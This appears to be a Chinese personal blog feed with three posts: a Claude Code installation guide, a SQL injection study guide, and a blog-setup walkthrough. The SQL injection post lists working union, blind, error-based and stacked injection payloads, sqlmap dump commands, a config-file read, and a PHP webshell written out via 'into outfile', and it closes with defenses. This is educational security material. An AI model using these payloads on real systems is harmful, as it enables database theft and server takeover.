橘沫夏

Claude Code的安装和使用~

Fri, 12 Jun 2026 00:00:00 GMT

Claude Code 安装与使用指南#

1. 什么是 Claude Code#

Claude Code 是 Anthropic 推出的一款命令行 AI 编程助手（CLI Agent），能够直接在终端中理解你的代码库、执行操作、编写代码，并与 Git、CI/CD 等工具无缝集成。

简单理解：Claude Code 就像一个驻扎在你终端里的资深程序员，能阅读整个项目、回答代码问题、直接帮你写代码、改 bug、跑测试。

1.1 核心优势#

优势	说明
上下文强大	支持 200K Token 上下文窗口，可一次性理解大型项目
Agent 模式	不仅能回答问题，还能自主执行多步骤任务
工具集成	内置文件读写、Git、Shell 命令执行等工具
IDE 支持	支持 VS Code、JetBrains 等主流 IDE
多模型	可灵活切换 Opus / Sonnet / Haiku 模型

2. 系统要求#

条件	说明
操作系统	macOS 10.15+ / Ubuntu 20.04+ / Debian 10+ / Windows 10/11（需 WSL 或 Git Bash）
Node.js	v18.0 或更高版本
Git	2.23+（Windows 下必须先安装 Git for Windows）
内存	4GB 以上，推荐 8GB+

3. 安装方法#

3.1 方法一：官方原生一键安装（⭐推荐）#

最简单的方式，无需预装 Node.js，脚本自动处理所有依赖。

macOS / Linux / WSL：

Terminal window

1
curl -fsSL https://claude.ai/install.sh | bash

Windows PowerShell：

Terminal window

1
irm https://claude.ai/install.ps1 | iex

3.2 方法二：Homebrew 安装（macOS）#

Terminal window

1
brew install --cask claude-code

3.3 方法三：WinGet 安装（Windows）#

Terminal window

1
winget install Anthropic.ClaudeCode

3.4 方法四：NPM 安装（传统通用方式）#

Terminal window

1
# 全局安装
2
npm install -g @anthropic-ai/claude-code
3

4
# 验证安装
5
claude --version

3.5 方法五：Docker 容器化安装#

Terminal window

1
curl -O https://raw.githubusercontent.com/RchGrav/claudebox/main/claudebox
2
chmod +x claudebox

验证安装：安装完成后运行 claude --version，输出版本号即表示安装成功。

4. 基础配置#

4.1 配置 API Key#

方式 A：OAuth 登录（有 Pro / Max 订阅）

Terminal window

1
claude   # 按提示完成浏览器登录

方式 B：API Key（控制台获取）

Terminal window

1
# Linux / macOS
2
export ANTHROPIC_API_KEY="sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
3

4
# Windows PowerShell
5
$env:ANTHROPIC_API_KEY="sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"

持久化配置（推荐写入 Shell 配置文件）：

Terminal window

1
# Linux / macOS 写入 ~/.zshrc 或 ~/.bashrc
2
echo 'export ANTHROPIC_API_KEY="sk-xxxxxxxx"' >> ~/.zshrc
3
source ~/.zshrc

4.2 首次启动#

Terminal window

1
cd your-project    # 进入你的项目目录
2
claude             # 启动交互模式

首次运行会提示：选择主题、确认安全须知、信任当前工作目录等，按照提示操作即可。

5. 接入 DeepSeek V4#

DeepSeek 官方提供了与 Anthropic 兼容的 API 端点，可以无缝替换后端模型，费用仅为 Anthropic 官方的约 5%。

5.1 获取 DeepSeek API Key#

前往 platform.deepseek.com 注册账号并创建 API Key。

5.2 方案一：环境变量配置（推荐，最简单）#

Linux / macOS：

Terminal window

1
export ANTHROPIC_BASE_URL=https://api.deepseek.com/anthropic
2
export ANTHROPIC_AUTH_TOKEN=你的DeepSeek_API_Key
3
export ANTHROPIC_MODEL=deepseek-v4-pro[1m]
4
export ANTHROPIC_DEFAULT_OPUS_MODEL=deepseek-v4-pro[1m]
5
export ANTHROPIC_DEFAULT_SONNET_MODEL=deepseek-v4-pro[1m]
6
export ANTHROPIC_DEFAULT_HAIKU_MODEL=deepseek-v4-flash
7
export CLAUDE_CODE_SUBAGENT_MODEL=deepseek-v4-flash
8
export CLAUDE_CODE_EFFORT_LEVEL=max

Windows PowerShell：

Terminal window

1
$env:ANTHROPIC_BASE_URL="https://api.deepseek.com/anthropic"
2
$env:ANTHROPIC_AUTH_TOKEN="你的DeepSeek_API_Key"
3
$env:ANTHROPIC_MODEL="deepseek-v4-pro[1m]"
4
$env:ANTHROPIC_DEFAULT_OPUS_MODEL="deepseek-v4-pro[1m]"
5
$env:ANTHROPIC_DEFAULT_SONNET_MODEL="deepseek-v4-pro[1m]"
6
$env:ANTHROPIC_DEFAULT_HAIKU_MODEL="deepseek-v4-flash"
7
$env:CLAUDE_CODE_SUBAGENT_MODEL="deepseek-v4-flash"
8
$env:CLAUDE_CODE_EFFORT_LEVEL="max"

5.3 方案二：settings.json 配置（持久化）#

编辑 ~/.claude/settings.json（Windows 为 C:\Users\<用户名>\.claude\settings.json）：

1
{
2
  "env": {
3
    "ANTHROPIC_BASE_URL": "https://api.deepseek.com/anthropic",
4
    "ANTHROPIC_AUTH_TOKEN": "你的DeepSeek_API_Key",
5
    "ANTHROPIC_MODEL": "deepseek-v4-pro[1m]",
6
    "ANTHROPIC_DEFAULT_OPUS_MODEL": "deepseek-v4-pro[1m]",
7
    "ANTHROPIC_DEFAULT_SONNET_MODEL": "deepseek-v4-pro[1m]",
8
    "ANTHROPIC_DEFAULT_HAIKU_MODEL": "deepseek-v4-flash",
9
    "CLAUDE_CODE_SUBAGENT_MODEL": "deepseek-v4-flash",
10
    "CLAUDE_CODE_EFFORT_LEVEL": "max"
11
  }
12
}

5.4 方案三：claudeep 一键配置工具#

npm 包 claudeep 提供自动化配置脚本。

Terminal window

1
# 安装
2
npm install -g claudeep@latest
3

4
# 配置
5
claudeep setup 你的API_KEY
6

7
# 健康检查
8
claudeep doctor
9

10
# 自动修复
11
claudeep doctor --fix

5.5 模型对照表#

用途	DeepSeek 模型	说明
主力推理	`deepseek-v4-pro[1m]`	对应 Opus/Sonnet，强大推理能力
快速任务	`deepseek-v4-flash`	对应 Haiku，轻量快速
子代理	`deepseek-v4-flash`	子任务执行，节省成本

注意：Claude Code 使用模型白名单机制，不能直接用 --model 指定 DeepSeek 模型名，必须通过环境变量映射。配置完成后可在 Claude Code 中问”你是什么模型”验证是否接入成功。

6. 核心使用方式#

6.1 四种使用模式#

模式	命令	说明
交互模式	`claude`	启动对话式 REPL，每次修改需确认
一次性查询	`claude -p "问题"`	快速查询并输出结果，不进入交互
管道模式	`cat logs.txt \| claude -p "分析这些日志"`	将管道内容作为上下文处理
继续会话	`claude -c`	恢复上次的对话历史

6.2 高级启动参数#

Terminal window

1
# 自动执行模式（跳过确认，适合长时间任务）
2
claude --dangerously-skip-permissions
3

4
# 指定配置文件
5
claude --settings ~/.claude/settings.custom.json
6

7
# 查看帮助
8
claude --help

7. 交互模式常用命令#

命令	功能
`/init`	扫描项目，生成 CLAUDE.md 配置文件
`/clear`	清除对话历史
`/compact`	压缩上下文，节省 Token
`/config`	配置主题、模型等参数
`/cost`	查看 Token 消耗和预估费用
`/model`	切换模型（Opus / Sonnet / Haiku）
`/doctor`	运行系统健康检查
`/mcp`	管理 MCP 服务器
`/memory`	编辑记忆和自定义规则
`/plan`	进入规划模式（先设计方案再编写代码）
`@文件名`	引用文件到上下文中
`!命令`	执行终端命令（如 `!npm test`）
`Esc 双击`	回退对话
`Ctrl + C`	取消当前操作
`Shift + Tab`	切换自动接受编辑模式

8. IDE 集成#

8.1 VS Code#

在 VS Code 扩展市场搜索 “Claude Code” 安装官方扩展。安装后在左侧活动栏会出现 Claude Code 图标，点击即可在侧边栏中使用。

功能亮点：

内联 diff 查看，编辑前后对比一目了然
支持 @文件 引用项目文件
与 VS Code 文件浏览器联动

8.2 JetBrains#

在 JetBrains 插件市场（Settings → Plugins）搜索 Claude Code 安装（当前为 Beta 版本）。

支持 IntelliJ IDEA、WebStorm、PyCharm、GoLand 等主流 JetBrains IDE。

8.3 快捷键#

平台	快捷键	功能
Mac	`Cmd + Esc`	快速启动 Claude Code
Windows	`Ctrl + Esc`	快速启动 Claude Code

9. MCP 服务器配置#

MCP（Model Context Protocol）允许 Claude Code 连接外部工具和数据源。

9.1 配置示例#

编辑 ~/.claude/.mcp.json：

1
{
2
  "mcpServers": {
3
    "filesystem": {
4
      "command": "npx",
5
      "args": ["-y", "@anthropic-ai/mcp-server-filesystem", "/path/to/allowed/dir"]
6
    },
7
    "github": {
8
      "command": "npx",
9
      "args": ["-y", "@anthropic-ai/mcp-server-github"]
10
    }
11
  }
12
}

9.2 管理 MCP 服务器#

在交互模式中使用 /mcp 命令即可查看、添加、删除 MCP 服务器。

10. 实战技巧#

10.1 项目初始化#

Terminal window

1
cd your-project
2
claude            # 启动 Claude Code
3
/init             # 让 Claude 扫描项目生成 CLAUDE.md

CLAUDE.md 是项目的”说明书”，Claude 每次对话都会读取它来理解项目结构、编码规范和约定。

10.2 高效提问技巧#

技巧	示例
具体描述需求	”在 user.py 中为 User 模型添加邮箱验证方法”
引用文件	`@src/utils/auth.ts` 帮我重构这个文件的认证逻辑
分步执行	先”分析当前代码结构”，再”给出优化方案”，最后”实施修改”
使用 Plan 模式	`/plan` 先让 Claude 设计方案，确认后再执行

10.3 成本控制#

Terminal window

1
# 随时查看消耗
2
/cost
3

4
# 切换更便宜的模型处理简单任务
5
/model haiku
6

7
# 压缩上下文避免过长对话
8
/compact

模型	费用对比	适用场景
DeepSeek V4 Pro	~$7/月	主力编程，高性价比
DeepSeek V4 Flash	~$2/月	简单任务、子代理
Anthropic Opus 官方	~$200/月	最强性能，企业级

10.4 常见问题排查#

问题	解决方案
无法连接 API	检查 `ANTHROPIC_BASE_URL` 设置是否正确，确认网络能访问 DeepSeek API
模型不识别	确认使用环境变量映射而非 `--model` 参数
权限不足	首次使用需信任工作目录，按提示确认
命令未找到	确认 Node.js ≥ 18，npm 全局安装路径在 PATH 中
中文乱码	Windows 终端请使用 Windows Terminal 而非传统 cmd

10.5 安全配置建议#

Terminal window

1
# 限定文件访问范围（在 CLAUDE.md 中声明）
2
# 不要用 root 权限运行
3
# 定期检查 ~/.claude/ 下的日志和配置
4
# 生产环境慎用 --dangerously-skip-permissions

11. 总结#

Claude Code 的学习路线可概括为：

安装环境准备 → 选择安装方式 → 配置 API Key →（可选）接入 DeepSeek V4 → 项目初始化 /init → 交互模式入门 → 掌握常用命令 → IDE 集成 → MCP 扩展 → 实战优化

接入 DeepSeek V4 后，你可以用不到官方 1/20 的成本获得强大的 AI 编程助手，强烈推荐尝试！

SQL注入的学习~

Tue, 09 Jun 2026 00:00:00 GMT

SQL 注入学习指南#

1. SQL 注入基础#

1.1 什么是 SQL 注入#

SQL 注入（SQL Injection）是 Web 安全中最常见的高危漏洞之一。其核心原理是：应用程序未对用户输入做任何过滤、转义或预处理，直接将用户输入拼接进 SQL 查询语句，导致恶意 SQL 代码被数据库执行。

简单理解：程序把用户的“输入”当成了“代码”来执行，打破了“数据”与“代码”之间的边界。

1.2 攻击危害#

危害类型	具体表现
数据安全	读取 `admin` 表的账号密码、篡改 `news` 表内容
权限提升	利用 root 权限执行跨库查询、修改数据库配置
系统渗透	写入一句话木马到 Web 目录，控制服务器
拒绝服务	执行 `sleep(10)` 等语句拖慢数据库响应

2. SQL 注入的四种常见类型（按参数包裹方式）#

2.1 数字型注入#

特征：后端 SQL 中参数没有使用引号包裹，直接拼接。
示例 SQL：select * from news where id = $id
注入要点：无需闭合引号，直接拼接恶意语句。
测试 payload：?id=1 and 1=1、?id=-1 union select 1,2,3,username,password from admin

2.2 字符型注入#

特征：参数被单引号（或双引号）包裹。
示例 SQL：select * from news where id='$id'
注入要点：先闭合引号，再拼接恶意语句，最后用注释符屏蔽多余的引号。
测试 payload：?id=1' union select 1,2,3,username,password from admin --+
URL 编码提示：空格建议用 %20 或 + 代替，避免传输截断。

2.3 搜索型注入#

特征：用于模糊搜索功能，使用 like 关键字和 % 通配符。
示例 SQL：select * from news where title like '%$keyword%'
注入要点：闭合单引号和前端的 %，拼接恶意语句，再注释掉末尾的 % 和引号。
测试 payload：?keyword=1%' union select 1,2,3,username,5 from admin --+

2.4 框架型注入（括号+引号）#

特征：常见于某些开发框架，参数同时被引号和括号包裹。
示例 SQL：select * from news where id=('$id')
注入要点：先闭合括号，再闭合引号，然后拼接恶意语句。
测试 payload：?id=1') union select 1,2,3,database() --+

3. SQL 注入漏洞检测方法#

3.1 逻辑判断法#

利用 and / or 构造恒真 / 恒假条件，观察页面差异。

数字型测试：
- ?id=1 and 1=1 → 页面正常
- ?id=1 and 1=2 → 页面异常（无数据或报错） → 存在注入
字符型测试（先闭合引号）：
- ?id=1' and '1'='1 → 正常
- ?id=1' and '1'='2 → 异常

3.2 报错判断法#

直接传入 ' 或 "，观察是否返回数据库错误信息。
若报错，说明存在注入；若不报错，可能被统一错误页面屏蔽。

4. UNION 联合注入（有回显场景）#

4.1 判断字段数量（order by）#

1
?id=1 order by 1   -- 正常
2
?id=1 order by 2   -- 正常
3
...
4
?id=1 order by N   -- 异常 → 字段总数 = N-1

4.2 确定回显位置#

1
?id=-1 union select 1,2,3,4,...,N

页面中显示的数字对应的位置即为回显位（例如 2、3 位置有数字输出）。

4.3 获取数据库信息#

1
-- 当前数据库名
2
?id=-1 union select 1,database(),3,4,...,N

4.4 查询表名（利用 information_schema）#

1
?id=-1 union select 1,table_name,3,4,...,N
2
from information_schema.tables
3
where table_schema='数据库名' limit 0,1

4.5 查询字段名#

1
?id=-1 union select 1,column_name,3,4,...,N
2
from information_schema.columns
3
where table_schema='数据库名' and table_name='表名' limit 0,1

4.6 获取数据#

1
?id=-1 union select 1,username,password,4,...,N
2
from 数据库名.表名 limit 0,1

分页技巧：修改 limit m,1 中的 m 可逐条获取多条记录。

5. 布尔盲注（无回显但有页面差异）#

5.1 适用场景#

无数据回显，无报错信息
但页面内容会根据 SQL 真假条件发生变化（如显示“新闻加载成功”或“加载失败”）

5.2 常用函数#

length()：获取长度
substr() / mid()：截取字符串
ascii()：转换为 ASCII 码

5.3 操作步骤#

1. 判断数据库名长度

1
?id=1 and length(database()) > 7    -- 页面正常则长度 >7
2
?id=1 and length(database()) = 7    -- 页面正常则长度 =7

2. 逐字符猜解数据库名

1
?id=1 and ascii(substr(database(),1,1)) = 115   -- 115 对应字符 's'

3. 猜表名、字段名、数据（类似语法，嵌套子查询）

1
-- 猜第一个表名的长度
2
?id=1 and length((select table_name from information_schema.tables where table_schema=database() limit 0,1)) = 5
3

4
-- 猜第一个表名的第一个字符
5
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) = 97

6. 报错注入（有数据库错误回显）#

6.1 常用函数#

updatexml()（推荐）#

1
-- 查数据库版本
2
?id=1 and updatexml(1,concat(0x7e,version(),0x7e),1)
3

4
-- 查当前数据库名
5
?id=1 and updatexml(1,concat(0x7e,database(),0x7e),1)
6

7
-- 查表名
8
?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='sql_lab'),0x7e),1)
9

10
-- 查字段名
11
?id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='sql_lab' and table_name='admin'),0x7e),1)
12

13
-- 查数据
14
?id=1 and updatexml(1,concat(0x7e,(select group_concat(username,':',password) from sql_lab.admin),0x7e),1)

extractvalue()（只返回32位以内）#

1
?id=1 and extractvalue(1,concat(0x5c,(select database())))

注意：0x7e 为 ~，0x5c 为 \，用作分隔符方便查看。

7. 时间盲注（无任何回显）#

7.1 适用场景#

无数据回显，无报错信息，页面内容完全不变
只能通过响应时间差异判断条件真假

7.2 核心函数#

sleep(n)：暂停 n 秒
if(condition, true_result, false_result)

7.3 示例#

1
-- 判断数据库长度是否为7，是则延时3秒
2
?id=2 and if(length(database())=7, sleep(3), 0)
3

4
-- 判断数据库第一个字符的ASCII码是否等于115
5
?id=2 and if(ascii(substr(database(),1,1))=115, sleep(3), 0)

8. 堆叠注入#

原理：利用 SQL 语句分隔符 ; 一次执行多条语句。
条件：数据库驱动支持多语句执行（如 PHP 的 mysqli_multi_query()）。

示例：

1
?id=1; create table test(id int); --

实际执行：

1
select * from news where id=1; create table test(id int);

9. 不同注入点位的测试方式#

注入点位	参数位置	测试工具 / 方法
GET 参数	URL 中 `?key=value`	浏览器地址栏、Hackbar、Burp Suite
POST 参数	请求 Body（表单）	Burp Suite 抓包修改
请求头	Cookie、User-Agent、Referer 等	Burp Suite 修改对应头部字段
JSON 格式	请求 Body 为 JSON	仅修改 value 值，保留键名结构
Base64 编码	参数经过 base64 编码	先编写明文 payload，编码后提交

Base64 注入示例：

明文注入语句：1 and 1=1
Base64 编码：MSBhbmQgMT0x
最终请求：?id=MSBhbmQgMT0x

后端自动解码为 1 and 1=1 再拼接 SQL。

10. sqlmap 自动化工具#

10.1 基本用法#

1
# 检测注入点
2
python sqlmap.py -u "http://192.168.2.7/sql_lab3/index.php?id=1"
3

4
# 查看所有数据库
5
python sqlmap.py -u "URL" --dbs
6

7
# 查看当前数据库
8
python sqlmap.py -u "URL" --current-db
9

10
# 查看数据表
11
python sqlmap.py -u "URL" -D sql_lab --tables
12

13
# 查看字段
14
python sqlmap.py -u "URL" -D sql_lab -T admin --columns
15

16
# 导出数据
17
python sqlmap.py -u "URL" -D sql_lab -T admin -C "username,password" --dump

展开收起

11. 高级技巧#

11.1 跨库查询#

1
?id=-1 union select 1,2,3,schema_name,5 from information_schema.SCHEMATA limit 0,1

可列出 MySQL 服务器上所有数据库名，再逐个渗透。

11.2 文件读写（需满足条件）#

前置条件：

MySQL 用户为 root
secure_file_priv 配置为空（secure_file_priv=）
Web 目录有写入权限

读取文件：

1
?id=-1 union select 1,load_file("D:/phpstudy_pro/www/config.php"),3,4

写入一句话木马：

1
?id=-1 union select 1,'<?php @eval($_POST["shell"]);?>',3,4 into outfile "D:/phpstudy_pro/www/shell.php"

12. 防御措施#

防御手段	具体实现
参数化查询（预处理）	`prepare` + `execute`，如 `select * from news where id=?`
最小权限原则	给 Web 应用创建专用数据库用户，仅授予必要库的增删改查权限
输入过滤	对数字型参数使用 `intval()` 强制转换；对字符串进行转义（`addslashes`）或过滤
输出编码	使用 `htmlspecialchars()` 转义输出到页面的内容，防止 XSS 二次利用
禁用危险功能	生产环境关闭 `load_file` / `into outfile` 权限，设置 `secure_file_priv=NULL`
错误信息屏蔽	关闭数据库错误回显，使用统一错误页面

13. 总结#

SQL 注入学习路线可概括为： 判断注入类型 → 检测漏洞存在 → 联合查询（有回显）→ 盲注（无回显）→ 报错/时间盲注 → 高级利用（跨库/文件）→ 自动化工具 → 防御学习

我的第一篇文章

Sun, 07 Jun 2026 00:00:00 GMT

前言#

在一个偶然的时候，发现了一位大佬搭建的个人博客，后来就想着自己也搞一个自己的博客。下面是博客的搭建过程

1. 博客本体搭建#

1.1 前期准备：Fork 自己喜欢的主题#

大家可以在GitHub上搜寻自己喜欢的主题，fork到自己的仓库(赞美Github和愿意公开自己源码的大佬们) 我的是在GitHub上forkFireFly的主题，

1.2 本地克隆与清理#

使用 git clone 将 fork 的仓库拉取到本地。
删除 content/posts/ 下所有原作者的文章（.md）。
等等

2. 本地运行与依赖安装#

2.1 安装 Node.js和 pnpm：#

Terminal window

1
node -v
2
npm -v

如果显示node和npm的版本号，则安装成功。

2.2 安装项目依赖：#

Terminal window

1
pnpm install

2.3 本地预览：#

Terminal window

1
pnpm dev→ 访问 `http://localhost:3000` 确认博客可运行。

3. 推送代码到 GitHub#

国内访问 GitHub 不稳定，git push 频繁出现问题
解决方案：安装并使用 DevSidecar 加速工具，开启系统代理和 Git 代理。

4.部署到 Vercel#

4.1 步骤#

1.使用 GitHub 账号授权。 2.导入自己的仓库，框架会自己识别为Nuxt.js。 3.默认构建配置。 4.点击Deploy，获得预览域名。 5.每次 git push 会自动触发 Vercel 重新部署。

5.绑定自定义域名#

5.1购买域名：#

在阿里云购买自己喜欢的域名(很便宜首年十几块)，并完成实名认证。

5.2域名托管到 Cloudflare：#

注册 Cloudflare，添加站点，免费套餐。
将阿里云的 DNS 服务器改为 Cloudflare 分配的 NS 地址。
等待 DNS 生效（状态变为 Active）。

5.3在 Vercel 中添加域名：#

项目 Settings → Domains → 添加域名和子域名。
等待状态变为 Valid Configuration（绿色）。注：添加这条记录时，最右边那个代理状态（Proxy status）的橙色小云朵，需要点灰它，不然 CF 的证书和 Vercel 的证书可能会发生冲突，导致 Vercel 证书申请失败。

5.4 访问验证：#

访问自己购买的域名成功打开个人博客

6.配置图床（GitHub + jsDelivr + PicGo）#

6.1 创建GitHub 公开仓库** `JuMoXia/blog-images`。#

6.2 生成Personal Access Token（经典令牌，勾选 `repo`）。#

1
生成Personal Access Token并复制

6.3 安装 PicGo，配置 GitHub 图床：#

仓库名：JuMoXia/blog-images
分支：main
Token：粘贴 Personal Access Token
存储路径：img/

6.4 测试：拖拽图片，成功生成 CDN 链接。#

6.5 与 Typora 联动：#

Typora 偏好设置 → 图像 → 上传服务选 PicGo(app)，指定 PicGo.exe 路径。
粘贴图片时自动上传并返回 CDN 链接。

7.总结#

搭建属于自己的博客也是非常有成就感的虽然我的水平很烂，但还好有GitHub上大佬的源码，我只需要改一部分就可以了，赞美大佬